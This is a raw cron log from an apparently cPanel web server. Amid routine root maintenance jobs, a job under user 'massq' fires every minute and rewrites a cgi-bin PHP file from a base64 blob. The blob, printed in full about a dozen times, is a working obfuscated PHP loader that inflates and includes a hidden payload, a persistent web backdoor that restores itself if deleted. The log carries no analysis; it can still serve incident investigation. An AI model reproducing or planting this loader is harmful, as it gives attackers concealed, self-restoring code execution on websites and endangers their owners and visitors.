Sep  8 16:15:01 server CROND[6472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:15:01 server CROND[6475]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 16:15:01 server CROND[6473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:16:01 server CROND[7338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:16:01 server CROND[7339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:16:01 server CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:17:01 server CROND[7737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:17:01 server CROND[7738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:17:01 server CROND[7739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:18:01 server CROND[8117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:18:01 server CROND[8118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:18:01 server CROND[8119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:19:01 server CROND[8706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:19:01 server CROND[8707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:19:01 server CROND[8708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:20:01 server CROND[9164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:20:01 server CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:20:01 server CROND[9169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:20:01 server CROND[9172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:20:01 server CROND[9171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:20:01 server CROND[9173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:20:01 server CROND[9174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:20:01 server CROND[9175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:20:01 server CROND[9177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:21:01 server CROND[10150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:21:01 server CROND[10151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:21:01 server CROND[10152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:22:01 server CROND[10548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:22:01 server CROND[10549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:22:01 server CROND[10550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:23:01 server CROND[10960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:23:01 server CROND[10961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:23:01 server CROND[10968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:24:01 server CROND[11357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:24:01 server CROND[11358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:24:01 server CROND[11359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:25:01 server CROND[11752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:25:01 server CROND[11758]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 16:25:01 server CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:25:01 server CROND[11771]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:25:01 server CROND[11774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:25:01 server CROND[11773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:25:01 server CROND[11775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:25:01 server CROND[11772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:26:01 server CROND[12638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:26:01 server CROND[12639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:26:01 server CROND[12641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:27:01 server CROND[13013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:27:01 server CROND[13015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:27:01 server CROND[13014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:27:01 server CROND[13016]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:28:01 server CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
